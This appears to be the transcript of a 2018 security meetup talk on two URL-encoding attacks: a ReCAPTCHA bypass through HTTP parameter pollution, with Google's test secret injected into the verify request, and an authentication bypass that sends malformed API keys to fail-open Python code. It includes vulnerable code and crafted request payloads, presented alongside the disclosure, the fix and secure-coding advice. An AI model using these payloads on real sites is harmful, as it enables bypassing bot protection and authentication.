Pro Yearly is on sale from $80 to $50! »

Injecting into URLs / Breaking URL-Encoding

Injecting into URLs / Breaking URL-Encoding

ReCAPTCHA bypass and authentication bypass. Both using URL-encoding tricks.

C0999631eb2c54a20ee559c44f8c7080?s=128

andresriancho

August 20, 2018
Tweet

Transcript

  1. Injecting into URLs Breaking URL-Encoding Meetup Buenos Aires, Argentina

  2. /me • Application security expert (web|API) • Developer (Python!) •

    Open Source evangelist • w3af project leader • Independent application security consultant
  3. Bypassing Google ReCAPTCHA (in some scenarios)

  4. ReCAPTCHA Prevents automation by asking the user to solve tasks

    which are easy for humans but hard for computers.
  5. User sends solution to application Clicking on the Verify button

    will send this HTTP request to the application: POST /verify-recaptcha-response HTTP/1.1 Host: vulnerable-app.com recaptcha-response={user-response}
  6. Verify response with the API POST /recaptcha/api/siteverify HTTP/1.1 Host: www.google.com

    Content-Type: application/x-www-form-urlencoded recaptcha-response={user-response}&secret={application-secret} HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8 Content-Length: 90 { "success": true, "challenge_ts": "2018-01-29T17:58:36Z", ... } Google's ReCAPTCHA API verifies the user's response:
  7. Verify response with the API private String sendPost(String CaptchaResponse, String

    Secret) { String url = "https://www.google.com/recaptcha/api/siteverify"; url += "?response="; url += CaptchaResponse; url += "&secret="; url += Secret; URL obj = new URL(url); HttpsURLConnection con = (HttpsURLConnection) obj.openConnection(); ... Google's ReCAPTCHA API verifies the user's response:
  8. HTTP parameter pollution POST /verify-recaptcha-response HTTP/1.1 Host: vulnerable-app.com recaptcha-response=anything%26secret%3dxyz Injecting

    parameters into the API request: POST /recaptcha/api/siteverify HTTP/1.1 Host: www.google.com ... recaptcha-response=anything&secret=xyz&secret={application-secret}
  9. ReCAPTCHA duplicate parameters POST /recaptcha/api/siteverify HTTP/1.1 Host: www.google.com ... recaptcha-response={user-response}&secret={application-secret}

    &secret={another-secret-application-secret} HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8 ... ReCAPTCHA accepted duplicate parameter names, using the first one and discarding the second:
  10. None
  11. ReCAPTCHA and integration tests ReCAPTCHA allows developers to configure a

    specific application secret (should only be used in non-production environments) which forces ReCAPTCHA to always return "success". 6LeIxAcTAAAAAGG-vFI1TnRWxMZNFuojJ4WifJWe https://developers.google.com/recaptcha/docs/faq
  12. Bypass ReCAPTCHA POST /verify-recaptcha-response HTTP/1.1 Host: vulnerable-app.com recaptcha-response=anything%26secret%3d6LeIxAcTAAAAAGG-vFI1TnRWxMZNFu ojJ4WifJWe Injecting

    parameters into the API request: POST /recaptcha/api/siteverify HTTP/1.1 Host: www.google.com ... recaptcha-response=anything&secret=6LeIxAcTAAAAAGG-vFI1TnRWxMZNFuojJ4 WifJWe&secret={application-secret}
  13. Requirement: HPP There are two strong requirements for this vulnerability

    to be exploitable in a web application: 1. The application needs to have an HTTP parameter pollution vulnerability in the ReCAPTCHA url creation. Github searches showed that ~60% of the integrations with ReCAPTCHA are vulnerable ProTip: Never, ever, use string concatenation or formatting for creating URLs.
  14. Requirement: Order There are two strong requirements for this vulnerability

    to be exploitable in a web application: 2. The vulnerable web application needs to create the URL with the response parameter first, and then the secret: This allows the attacker to control the first "secret" parameter. Strangely, almost all applications do it the other way. My guess is that Google’s documentation and code examples did it like that, and others simply copied from there. Google got lucky there… if they would have done it the other way around, this vulnerability would have affected even more sites. GitHub searches showed that only 5 to 10% of the ReCAPTCHA implementations meet this requirement. response=…&secret=…
  15. Only 3% meet the requirements

  16. Risks: Login brute force, spam, etc. What is usually protected

    by ReCAPTCHA? • Authentication • Password reset and user registration • Comments section Those things could have been bypassed!
  17. Fix: No duplicate parameter names Google fixed this issue by

    rejecting all HTTP requests that have more than one parameter named the same way. This fix is smart: protects all vulnerable applications without requiring them to apply any changes nor fixing their vulnerabilities.
  18. Google's Bug Bounty (rant)

  19. Bounty • Jan-29 / Vulnerability is reported to Google •

    Jan-30 / Google replies: “reCAPTCHA is working exactly as designed“ • Jan-31 / I ask them to please re-read the vulnerability report • Jan-31 / Google asks for more information • Feb-1 / Google confirms vulnerability • Feb-15 / Google awards 500 USD for the vulnerability report. Money donated to charity. • Mar-25 / Patch is released
  20. Breaking URL-Encoding Authentication bypass

  21. Spot the bug! The following code was found during one

    of my application security assessments. Spot the bug, tell us how to exploit it, win a beer!
  22. import requests class AuthenticationManager(object): API_AUTHORIZE_URL = "http://auth.service/authenticate?key=%s" def authenticate(self, api_key):

    authenticated = True url = self.API_AUTHORIZE_URL % api_key try: response = requests.get(url).json() except Exception, e: # Gets here on connection error, 400, 403, 404, 500 logging.error('Exception: %s' % e) else: # response looks like {"result": true} return response['result'] return authenticated
  23. GET /super/secret/data HTTP/1.1 Host: vulnerable-app.com X-API-Key: %xy Exploitation: Breaking URL

    encoding The API key is specially crafted to trigger an error in the internal authentication API. Most likely triggering 400 (Bad Request). The default-open implementation of the authenticate method will grant the attacker access.
  24. GET /super/secret/data HTTP/1.1 Host: vulnerable-app.com X-API-Key: AAA*10000 Other ways to

    break URLs? GET /super/secret/data HTTP/1.1 Host: vulnerable-app.com X-API-Key: # GET /super/secret/data HTTP/1.1 Host: vulnerable-app.com X-API-Key: %3c%0a <--- bad unicode
  25. Thanks!

  26. For hire Does your company or startup need these services?

    • Application Penetration Test • Secure Coding Training for Developers • Source Code Review • Cloud Security Assessment Let me know, I can help you deliver secure web applications.